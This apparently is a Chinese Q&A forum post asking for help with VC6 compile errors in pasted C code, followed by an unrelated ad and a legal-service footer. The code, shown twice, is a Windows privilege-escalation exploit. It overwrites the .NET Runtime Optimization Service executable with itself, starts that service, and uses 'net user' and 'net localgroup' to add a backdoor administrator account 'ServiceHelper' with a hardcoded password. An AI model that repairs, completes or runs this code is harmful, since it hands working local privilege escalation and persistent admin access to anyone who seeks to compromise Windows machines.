VC6编译程序出错,希望各位帮帮我。
代码是:#include<stdio.h>#include<windows.h>SERVICE_STATUSServiceStatus;SERVICE_STATUS_HA...
代码是:
#include <stdio.h>
#include <windows.h>
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
#define PWN_EXE "c:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe"
#define PWN_SHORT "mscorsvw.exe"
#define PWN_NAME ".NET Runtime Optimization Service v2.0.50727_X86"
#define PWN_ID "clr_optimization_v2.0.50727_32"
void ServiceMain(int argc, char** argv) {
if (InitService()) {
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
}
void ControlHandler(DWORD request);
int InitService();
int main(int argc, char **argv) {
char acUserName[100];
DWORD nUserName = sizeof(acUserName);
GetUserName(acUserName, &nUserName);
if (strcmp((char *)&acUserName, "SYSTEM")) {
char *str = (char *)malloc(2048);
memset(str, 0, 2048);
snprintf(str, 2048, "%s.bak", PWN_EXE);
if (rename(PWN_EXE, str) != 0) {
fprintf(stderr, " :( sorry, can't write to file.\n");
exit(1);
}
CopyFile(argv[0], PWN_EXE, !0);
snprintf(str, 2048, "net start \"%s\" 2> NUL > NUL",PWN_NAME);
printf("\n >:D should have created a \n\n Username:\tServiceHelper\n Password:\tILov3Coff33!\n\n");
system(str);
}
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = PWN_ID;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
int InitService() {
system("cmd /c net user ServiceHelper ILov3Coff33! /add & net localgroup Administrators ServiceHelper /add");
}
--------------------Configuration: 3 - Win32 Debug--------------------
Compiling...
3.cpp
c:\documents and settings\administrator\桌面\3.cpp(25) : error C2065: 'InitService' : undeclared identifier
c:\documents and settings\administrator\桌面\3.cpp(47) : error C2373: 'InitService' : redefinition; different type modifiers
c:\documents and settings\administrator\桌面\3.cpp(67) : error C2065: 'snprintf' : undeclared identifier
c:\documents and settings\administrator\桌面\3.cpp(113) : error C2373: 'InitService' : redefinition; different type modifiers
执行 cl.exe 时出错.
希望各位可以帮我解决一下编译出错
最好带一下解决的说明 展开
#include <stdio.h>
#include <windows.h>
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
#define PWN_EXE "c:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe"
#define PWN_SHORT "mscorsvw.exe"
#define PWN_NAME ".NET Runtime Optimization Service v2.0.50727_X86"
#define PWN_ID "clr_optimization_v2.0.50727_32"
void ServiceMain(int argc, char** argv) {
if (InitService()) {
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);
}
void ControlHandler(DWORD request);
int InitService();
int main(int argc, char **argv) {
char acUserName[100];
DWORD nUserName = sizeof(acUserName);
GetUserName(acUserName, &nUserName);
if (strcmp((char *)&acUserName, "SYSTEM")) {
char *str = (char *)malloc(2048);
memset(str, 0, 2048);
snprintf(str, 2048, "%s.bak", PWN_EXE);
if (rename(PWN_EXE, str) != 0) {
fprintf(stderr, " :( sorry, can't write to file.\n");
exit(1);
}
CopyFile(argv[0], PWN_EXE, !0);
snprintf(str, 2048, "net start \"%s\" 2> NUL > NUL",PWN_NAME);
printf("\n >:D should have created a \n\n Username:\tServiceHelper\n Password:\tILov3Coff33!\n\n");
system(str);
}
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = PWN_ID;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
int InitService() {
system("cmd /c net user ServiceHelper ILov3Coff33! /add & net localgroup Administrators ServiceHelper /add");
}
--------------------Configuration: 3 - Win32 Debug--------------------
Compiling...
3.cpp
c:\documents and settings\administrator\桌面\3.cpp(25) : error C2065: 'InitService' : undeclared identifier
c:\documents and settings\administrator\桌面\3.cpp(47) : error C2373: 'InitService' : redefinition; different type modifiers
c:\documents and settings\administrator\桌面\3.cpp(67) : error C2065: 'snprintf' : undeclared identifier
c:\documents and settings\administrator\桌面\3.cpp(113) : error C2373: 'InitService' : redefinition; different type modifiers
执行 cl.exe 时出错.
希望各位可以帮我解决一下编译出错
最好带一下解决的说明 展开
浙江启扬智能科技有限公司
2023-06-12 广告
2023-06-12 广告
在嵌入式开发中,建立交叉开发环境可以提高开发效率和代码质量。以下是建立交叉开发环境的一些原因:1. 硬件资源限制:嵌入式系统的硬件资源,如处理器主频、内存容量等,相对于PC机来说较为有限。利用PC机进行开发可以利用更快的硬件设备,提高开发效...
点击进入详情页
本回答由浙江启扬智能科技有限公司提供
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询